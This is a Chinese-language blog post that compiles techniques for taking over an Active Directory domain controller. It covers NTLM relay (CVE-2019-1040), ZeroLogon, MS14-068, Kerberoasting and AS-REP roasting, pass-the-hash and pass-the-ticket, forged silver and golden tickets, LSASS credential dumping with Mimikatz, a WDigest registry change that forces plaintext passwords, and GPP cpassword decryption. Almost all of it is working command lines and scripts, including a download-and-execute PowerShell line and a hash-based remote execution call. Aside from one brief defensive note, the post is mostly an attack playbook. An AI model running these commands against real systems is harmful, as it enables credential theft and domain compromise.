内网环境中获取域控权限的常见方法

内网协议NTLM-CVE-2019-1040

利用1-exchange
​ 通过printerbug使exchange机器向攻击机发送认证回连攻击者的机器,再使用ntlmrelayx --remove-mic参数绕过NTLM MIC校验,将smb中继到LDAP进行身份认证。

​ 打印机的spoolsv.exe服务允许用户远程调用,当用户向RemoteFindFirstPrinterChangeNotificationEx该函数传入一个UNC路径进行更新作业,打印机服务就回去请求该UNC路径,由于spoolsv.exe是system权限运行的,使用该账户对网络资源进行身份验证可能会出现安全问题,所以就迫使打印机更新作业的请求为机器账户。​

利用2-Kerberos 委派
​ 与exchange攻击方式相同,只是在执行ntlmrelayx.py 本时,需要使用 --delegate-access 选项,delegate-access 选项将中继计算机帐户(这里即辅助域控制器)的访问权限委托给攻击机器。

零登陆CVE-2020-1472-ZeroLogon

工具
Poc:https://github.com/SecuraBV/CVE-2020-1472

Impacket:https://github.com/SecureAuthCorp/impacket/

Exp:https://github.com/dirkjanm/CVE-2020-1472
攻击者在通过NetLogon(MS-NRPC)协议与AD域控建立安全通道时,可利用该漏洞将AD域控的计算机账号密码置为空,从而控制域控服务器。因为Netlogon使用的AES认证算法中的vi向量默认为0,所以导致攻击者可以绕过认证,同时其设置域控密码的远程接口也使用了该函数,导致可以将域控中保存在AD中的管理员密码设置为空。影响版本:

Windows Server 2008 R2 for x64-based Systems Service Pack 1
Windows Server 2008 R2 for x64-based Systems Service Pack 1 (Server Core installation)
Windows Server 2012
Windows Server 2012 (Server Core installation)
Windows Server 2012 R2
Windows Server 2012 R2 (Server Core installation)
Windows Server 2016
Windows Server 2016 (Server Core installation)
Windows Server 2019
Windows Server 2019 (Server Core installation)
Windows Server, version 1903 (Server Core installation)
Windows Server, version 1909 (Server Core installation)
Windows Server, version 2004 (Server Core installation)

 

Kerberos域用户提权-MS14-068

Kerberos 域用户提权漏洞(MS14-068,CVE-2014-6324),所有 Windows 服务器都会收到该漏洞影响。包括 Windows Server 2003、Windows Server 2008、Windows Server 2008 R2、Windows Server 2012 和 Windows Server 2012 R2。

https://codeload.github.com/ianxtianxt/MS14-068/zip/refs/heads/master

Kerberoast 域口令攻击

Kerberoast攻击是在TGS_REP的过程中用户将会收到由目标服务实例的NTLM hash加密生成的ST(service ticket),加密算法为RC4-HMAC,如果获得这个ST票据,我们可以尝试穷举口令,模拟加密过程,进行破解。

0x01 暴力破解

使用kerbrute.py:

python kerbrute.py -domain <domain_name> -users <users_file> -passwords <passwords_file> -outputfile <output_file>

使用带有暴力破解模块的Rubeus版本:

# with a list of users.Rubeus.exe brute /users:<users_file> /passwords:<passwords_file> /domain:<domain_name> /outfile:<output_file># check passwords for all users in current domain.Rubeus.exe brute /passwords:<passwords_file> /outfile:<output_file>

0x02 ASPEPRoast

使用Impacket的示例GetNPUsers.py:

# check ASREPRoast for all domain users (credentials required)python GetNPUsers.py <domain_name>/<domain_user>:<domain_user_password> -request -format <AS_REP_responses_format [hashcat | john]> -outputfile <output_AS_REP_responses_file># check ASREPRoast for a list of users (no credentials required)python GetNPUsers.py <domain_name>/ -usersfile <users_file> -format <AS_REP_responses_format [hashcat | john]> -outputfile <output_AS_REP_responses_file>

使用Rubeus:

# check ASREPRoast for all users in current domain.Rubeus.exe asreproast  /format:<AS_REP_responses_format [hashcat | john]> /outfile:<output_hashes_file>

密码字典破解:

hashcat -m 18200 -a 0 <AS_REP_responses_file> <passwords_file>
john --wordlist=<passwords_file> <AS_REP_responses_file>

0x03 Kerberoasting攻击

使用Impacket示例GetUserSPNs.py:

python GetUserSPNs.py <domain_name>/<domain_user>:<domain_user_password> -outputfile <output_TGSs_file>

使用Rubeus:

.Rubeus.exe kerberoast /outfile:<output_TGSs_file>

使用Powershell

iex (new-object Net.WebClient).DownloadString("https://raw.githubusercontent.com/EmpireProject/Empire/master/data/module_source/credentials/Invoke-Kerberoast.ps1")
Invoke-Kerberoast -OutputFormat <TGSs_format [hashcat | john]> | % { $_.Hash } | Out-File -Encoding ASCII <output_TGSs_file>

密码字典破解:

hashcat -m 13100 --force <TGSs_file> <passwords_file>

john --format=krb5tgs --wordlist=<passwords_file> <AS_REP_responses_file>

0x04 Pass The Hash & Pass The Key

通过使用Impacket示例:

# Request the TGT with hashpython getTGT.py <domain_name>/<user_name> -hashes [lm_hash]:<ntlm_hash># Request the TGT with aesKey (more secure encryption, probably more stealth due is the used by default by Microsoft)python getTGT.py <domain_name>/<user_name> -aesKey <aes_key># Request the TGT with passwordpython getTGT.py <domain_name>/<user_name>:[password]# If not provided, password is asked# Set the TGT for impacket useexport KRB5CCNAME=<TGT_ccache_file># Execute remote commands with any of the following by using the TGTpython psexec.py <domain_name>/<user_name>@<remote_hostname> -k -no-passpython smbexec.py <domain_name>/<user_name>@<remote_hostname> -k -no-passpython wmiexec.py <domain_name>/<user_name>@<remote_hostname> -k -no-pass

使用Rubeus和PsExec:

# Ask and inject the ticket.Rubeus.exe asktgt /domain:<domain_name> /user:<user_name> /rc4:<ntlm_hash> /ptt# Execute a cmd in the remote machine.PsExec.exe -accepteula \<remote_hostname> cmd

0x05 Pass The Ticket (PTT)

从Linux中获得tickets

检查tickets的类型和位置:

grep default_ccache_name /etc/krb5.conf

如果没有返回,则默认为FILE:/tmp/krb5cc_%{uid}

如果是tickets文件,则可以复制粘贴(如果有权限)以使用它们。

如果是KEYRING tickets,你可以使用tickey来获取:

# To dump current user tickets, if root, try to dump them all by injecting in other user processes# to inject, copy tickey in a reachable folder by all userscp tickey /tmp/tickey
/tmp/tickey -i

从Windows中获得tickets

使用Mimikatz:

mimikatz # sekurlsa::tickets /export

在Powershell中使用Rubeus:

.Rubeus dump# After dump with Rubeus tickets in base64, to write the in a file[IO.File]::WriteAllBytes("ticket.kirbi", [Convert]::FromBase64String("<bas64_ticket>"))

使用ticket_converter.py在Linux / Windows格式之间转换tickets:

python ticket_converter.py ticket.kirbi ticket.ccache
python ticket_converter.py ticket.ccache ticket.kirbi

在Linux中使用ticket:

使用Impacket示例:

# Set the ticket for impacket useexport KRB5CCNAME=<TGT_ccache_file_path># Execute remote commands with any of the following by using the TGTpython psexec.py <domain_name>/<user_name>@<remote_hostname> -k -no-passpython smbexec.py <domain_name>/<user_name>@<remote_hostname> -k -no-passpython wmiexec.py <domain_name>/<user_name>@<remote_hostname> -k -no-pass

在Windows中使用ticket:

使用Mimikatz注入ticket:

mimikatz # kerberos::ptt <ticket_kirbi_file>

使用Rubeus注入ticket:

.Rubeus.exe ptt /ticket:<ticket_kirbi_file>

使用PsExec在远程计算机中执行cmd :

.PsExec.exe -accepteula \<remote_hostname> cmd

0x06 Silver ticket

使用Impacket示例:

# To generate the TGS with NTLMpython ticketer.py -nthash <ntlm_hash> -domain-sid <domain_sid> -domain <domain_name> -spn <service_spn>  <user_name># To generate the TGS with AES keypython ticketer.py -aesKey <aes_key> -domain-sid <domain_sid> -domain <domain_name> -spn <service_spn>  <user_name># Set the ticket for impacket useexport KRB5CCNAME=<TGS_ccache_file># Execute remote commands with any of the following by using the TGTpython psexec.py <domain_name>/<user_name>@<remote_hostname> -k -no-passpython smbexec.py <domain_name>/<user_name>@<remote_hostname> -k -no-passpython wmiexec.py <domain_name>/<user_name>@<remote_hostname> -k -no-pass

使用Mimikatz:

# To generate the TGS with NTLMmimikatz # kerberos::golden /domain:<domain_name>/sid:<domain_sid> /rc4:<ntlm_hash> /user:<user_name> /service:<service_name> /target:<service_machine_hostname># To generate the TGS with AES 128 keymimikatz # kerberos::golden /domain:<domain_name>/sid:<domain_sid> /aes128:<krbtgt_aes128_key> /user:<user_name> /service:<service_name> /target:<service_machine_hostname># To generate the TGS with AES 256 key (more secure encryption, probably more stealth due is the used by default by Microsoft)mimikatz # kerberos::golden /domain:<domain_name>/sid:<domain_sid> /aes256:<krbtgt_aes256_key> /user:<user_name> /service:<service_name> /target:<service_machine_hostname># Inject TGS with Mimikatzmimikatz # kerberos::ptt <ticket_kirbi_file>

使用 Rubeus注入ticket:

.Rubeus.exe ptt /ticket:<ticket_kirbi_file>

使用PsExec在远程计算机中执行cmd :

.PsExec.exe -accepteula \<remote_hostname> cmd

0x07 Golden ticket

使用 Impacket 示例:

# To generate the TGT with NTLMpython ticketer.py -nthash <krbtgt_ntlm_hash> -domain-sid <domain_sid> -domain <domain_name>  <user_name># To generate the TGT with AES keypython ticketer.py -aesKey <aes_key> -domain-sid <domain_sid> -domain <domain_name>  <user_name># Set the ticket for impacket useexport KRB5CCNAME=<TGS_ccache_file># Execute remote commands with any of the following by using the TGTpython psexec.py <domain_name>/<user_name>@<remote_hostname> -k -no-passpython smbexec.py <domain_name>/<user_name>@<remote_hostname> -k -no-passpython wmiexec.py <domain_name>/<user_name>@<remote_hostname> -k -no-pass

使用 Mimikatz:

# To generate the TGT with NTLMmimikatz # kerberos::golden /domain:<domain_name>/sid:<domain_sid> /rc4:<krbtgt_ntlm_hash> /user:<user_name># To generate the TGT with AES 128 keymimikatz # kerberos::golden /domain:<domain_name>/sid:<domain_sid> /aes128:<krbtgt_aes128_key> /user:<user_name># To generate the TGT with AES 256 key (more secure encryption, probably more stealth due is the used by default by Microsoft)mimikatz # kerberos::golden /domain:<domain_name>/sid:<domain_sid> /aes256:<krbtgt_aes256_key> /user:<user_name># Inject TGT with Mimikatzmimikatz # kerberos::ptt <ticket_kirbi_file>

使用Rubeus注入ticket:

.Rubeus.exe ptt /ticket:<ticket_kirbi_file>

使用PsExec在远程计算机中执行cmd :

.PsExec.exe -accepteula \<remote_hostname> cmd

0x08 杂项

已知密码获取NTLM:

python -c 'import hashlib,binascii; print binascii.hexlify(hashlib.new("md4", "<password>".encode("utf-16le")).digest())'

0x09 相关工具

kerbrute.py:https://github.com/TarlogicSecurity/kerbrute
Rubeus:https://github.com/Zer1t0/Rubeus
PsExec:https://docs.microsoft.com/en-us/sysinternals/downloads/psexec
Impacket:https://github.com/SecureAuthCorp/impacket
tickey:https://github.com/TarlogicSecurity/tickey
Mimikatz:https://github.com/gentilkiwi/mimikatz


mimikatz 穷举

请求指定的TGS,完成之后klist就能查看相应的票据

Add-Type -AssemblyName System.IdentityModel
New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList "mysql/12server4.redteam.club:3306"

mimikatz导出票据

kerberos::list /export

使用tgsrepcrack.py破解

python3 tgsrepcrack.py wordlist.txt mssql.kirbi

如果是域控用户注册的 可以得到域得明文密码

hashcat 穷举

使用System.IdentityModel.Tokens.KerberosRequestorSecurityToken请求TGS,在返回结果中提取出TGS,输出的TGS可选择John the Ripper或Hashcat进行破解。

在域内一台主机上以普通用户权限执行:

Kerberoast -OutputFormat Hashcat 
Invoke-Kerberoast  -OutputFormat Hashcat | Select hash | ConvertTo-CSV -NoTypeInformation

保存文件 使用hashcat对其穷举

hashcat -m 13100 hash /home/kali/Desktop/kerberoast-master/passwd.txt -o found.txt --force

高权限转储哈希密码攻击

Mimikatz在线/离线抓取

当域管理员在域成员机器上登录进行工作的时候,会将明文密码保存在本地进行的lsass.exe,可以通过mimikatz来读取到本地的明文密码。

privilege::debug  
sekurlsa::logonpasswords

如果主机存在杀软的时候,上传mimikatz很多时候都会被杀掉,可以通过mimikatz的方式进行绕过

先导出lsass.exe

procdump64.exe -accepteula -ma lsass.exe lsass.dmp

保存到本地,通过mimikatz读lsass.dmp的明文

mimikatz.exe "sekurlsa::minidump lsass.dmp" "sekurlsa::logonPasswords full"  > 1.txt

如果目标机器是windows server 2012,通过添加注册表,在通过锁屏,让管理员重新登录及可以读取明文。

添加注册表,设置UseLogonCredential设置为1

reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1 /f

利用powershell脚本进行锁屏

Function Lock-WorkStation 
{
$signature = @"
[DllImport("user32.dll", SetLastError = true)]
public static extern bool LockWorkStation();
"@
$LockWorkStation = Add-Type -memberDefinition $signature -name "Win32LockWorkStation" -namespace Win32Functions -passthru
$LockWorkStation::LockWorkStation() | Out-Null
}
Lock-WorkStation

管理员重新登录后就可以抓取到明文密码了。

net use \\10.10.10.137\ipc$ "QWEasd123" /user:redteam\administrator
python3 wmiexec.py -hashes 00000000000000000000000000000000:42e2656ec24331269f82160ff5962387 administrator@10.10.10.137 "whoami" 

SYSVOL组策略获取密码

复现:https://www.cnblogs.com/21r000/p/15675872.html

在域环境中,有个默认的共享路径

\\<DOMAIN>\SYSVOL\<DOMAIN>\

SYSVOL是活动目录存储文件服务副本的共享文件夹,里面包含有登录脚本,组策略数据等,域里的所有用户都能访问这个共享文件。在SYSVOL目录下,默认是没有groups.xml文件的,必须创建组策略脚本登录才有这个文件。在groups.xml文件中,密码是通过AES-256加密的,但是微软发布了AES的私钥

可以利用powershell解密密文:

function Get-DecryptedCpassword {
    [CmdletBinding()]
    Param (
        [string] $Cpassword
    )

    try {
        #Append appropriate padding based on string length  
        $Mod = ($Cpassword.length % 4)

        switch ($Mod) {
        '1' {$Cpassword = $Cpassword.Substring(0,$Cpassword.Length -1)}
        '2' {$Cpassword += ('=' * (4 - $Mod))}
        '3' {$Cpassword += ('=' * (4 - $Mod))}
        }

        $Base64Decoded = [Convert]::FromBase64String($Cpassword)

        #Create a new AES .NET Crypto Object
        $AesObject = New-Object System.Security.Cryptography.AesCryptoServiceProvider
        [Byte[]] $AesKey = @(0x4e,0x99,0x06,0xe8,0xfc,0xb6,0x6c,0xc9,0xfa,0xf4,0x93,0x10,0x62,0x0f,0xfe,0xe8,
                             0xf4,0x96,0xe8,0x06,0xcc,0x05,0x79,0x90,0x20,0x9b,0x09,0xa4,0x33,0xb6,0x6c,0x1b)

        #Set IV to all nulls to prevent dynamic generation of IV value
        $AesIV = New-Object Byte[]($AesObject.IV.Length) 
        $AesObject.IV = $AesIV
        $AesObject.Key = $AesKey
        $DecryptorObject = $AesObject.CreateDecryptor() 
        [Byte[]] $OutBlock = $DecryptorObject.TransformFinalBlock($Base64Decoded, 0, $Base64Decoded.length)

        return [System.Text.UnicodeEncoding]::Unicode.GetString($OutBlock)
    }

    catch {Write-Error $Error[0]}
}
Get-DecryptedCpassword "I0vK3Yj0SeoHQDxF5skcjt3BOkMZmX6IiqRVKCTo4Z4"

针对SYSOVL的防御:

1.打补丁KB2962486
2.删除SYSVOL目录下的groups.xml
3.设置共享文件SYSVOL的权限

利用常规手段攻击

窃取域管理员令牌

当有域控账户登陆至服务器时可使用令牌模拟进行渗透取得域控权限。

进程迁移/注入/窃取

入侵了域管理员所登录的服务器,将进程迁移到域管理员所运行的进程,就可以获得域管理员权限。

获取域管理员列表

net group "Domain Admins" /domain

找到域管理员所运行的进程,然后将shell进程迁移到域管理员所运行的进程中后就获得了域管理员权限。

posted @ 2023-10-12 17:13  妇愁者纞萌  阅读(239)  评论(0编辑  收藏  举报